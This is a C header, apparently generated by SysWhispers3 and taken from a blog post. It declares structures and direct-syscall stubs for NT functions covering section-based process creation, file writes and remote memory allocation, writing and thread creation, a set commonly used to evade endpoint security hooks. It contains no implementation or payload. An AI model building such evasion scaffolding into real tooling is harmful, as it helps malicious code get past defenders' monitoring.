typedef struct _SW3_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW3_PEB_LDR_DATA, * PSW3_PEB_LDR_DATA;
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW3_LDR_DATA_TABLE_ENTRY, * PSW3_LDR_DATA_TABLE_ENTRY;
typedef struct _SW3_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW3_PEB_LDR_DATA Ldr;
} SW3_PEB, * PSW3_PEB;
DWORD SW3_HashSyscall(PCSTR FunctionName);
BOOL SW3_PopulateSyscallList();
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
VOID* Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
ProcessDebugPort = 7,
ProcessWow64Information = 26,
ProcessImageFileName = 27,
ProcessBreakOnTermination = 29
} PROCESSINFOCLASS, * PPROCESSINFOCLASS;
typedef VOID(NTAPI* PIO_APC_ROUTINE) (
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved);
typedef enum _FILE_INFORMATION_CLASS
{
FileDirectoryInformation = 1,
FileFullDirectoryInformation = 2,
FileBothDirectoryInformation = 3,
FileBasicInformation = 4,
FileStandardInformation = 5,
FileInternalInformation = 6,
FileEaInformation = 7,
FileAccessInformation = 8,
FileNameInformation = 9,
FileRenameInformation = 10,
FileLinkInformation = 11,
FileNamesInformation = 12,
FileDispositionInformation = 13,
FilePositionInformation = 14,
FileFullEaInformation = 15,
FileModeInformation = 16,
FileAlignmentInformation = 17,
FileAllInformation = 18,
FileAllocationInformation = 19,
FileEndOfFileInformation = 20,
FileAlternateNameInformation = 21,
FileStreamInformation = 22,
FilePipeInformation = 23,
FilePipeLocalInformation = 24,
FilePipeRemoteInformation = 25,
FileMailslotQueryInformation = 26,
FileMailslotSetInformation = 27,
FileCompressionInformation = 28,
FileObjectIdInformation = 29,
FileCompletionInformation = 30,
FileMoveClusterInformation = 31,
FileQuotaInformation = 32,
FileReparsePointInformation = 33,
FileNetworkOpenInformation = 34,
FileAttributeTagInformation = 35,
FileTrackingInformation = 36,
FileIdBothDirectoryInformation = 37,
FileIdFullDirectoryInformation = 38,
FileValidDataLengthInformation = 39,
FileShortNameInformation = 40,
FileIoCompletionNotificationInformation = 41,
FileIoStatusBlockRangeInformation = 42,
FileIoPriorityHintInformation = 43,
FileSfioReserveInformation = 44,
FileSfioVolumeInformation = 45,
FileHardLinkInformation = 46,
FileProcessIdsUsingFileInformation = 47,
FileNormalizedNameInformation = 48,
FileNetworkPhysicalNameInformation = 49,
FileIdGlobalTxDirectoryInformation = 50,
FileIsRemoteDeviceInformation = 51,
FileUnusedInformation = 52,
FileNumaNodeInformation = 53,
FileStandardLinkInformation = 54,
FileRemoteProtocolInformation = 55,
FileRenameInformationBypassAccessCheck = 56,
FileLinkInformationBypassAccessCheck = 57,
FileVolumeNameInformation = 58,
FileIdInformation = 59,
FileIdExtdDirectoryInformation = 60,
FileReplaceCompletionInformation = 61,
FileHardLinkFullIdInformation = 62,
FileIdExtdBothDirectoryInformation = 63,
FileDispositionInformationEx = 64,
FileRenameInformationEx = 65,
FileRenameInformationExBypassAccessCheck = 66,
FileMaximumInformation = 67,
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
EXTERN_C NTSTATUS Sw3NtOpenFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG ShareAccess,
IN ULONG OpenOptions);
EXTERN_C NTSTATUS Sw3NtSetInformationFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass);
EXTERN_C NTSTATUS Sw3NtWriteFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL);
EXTERN_C NTSTATUS Sw3NtCreateSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE FileHandle OPTIONAL);
EXTERN_C NTSTATUS Sw3NtCreateProcessEx(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess,
IN ULONG Flags,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN ULONG JobMemberLevel);
EXTERN_C NTSTATUS Sw3NtQueryInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL);
EXTERN_C NTSTATUS Sw3NtReadVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress OPTIONAL,
OUT PVOID Buffer,
IN SIZE_T BufferSize,
OUT PSIZE_T NumberOfBytesRead OPTIONAL);
EXTERN_C NTSTATUS Sw3NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
EXTERN_C NTSTATUS Sw3NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS Sw3NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
#endif
This post is licensed under
CC BY 4.0
by the author.
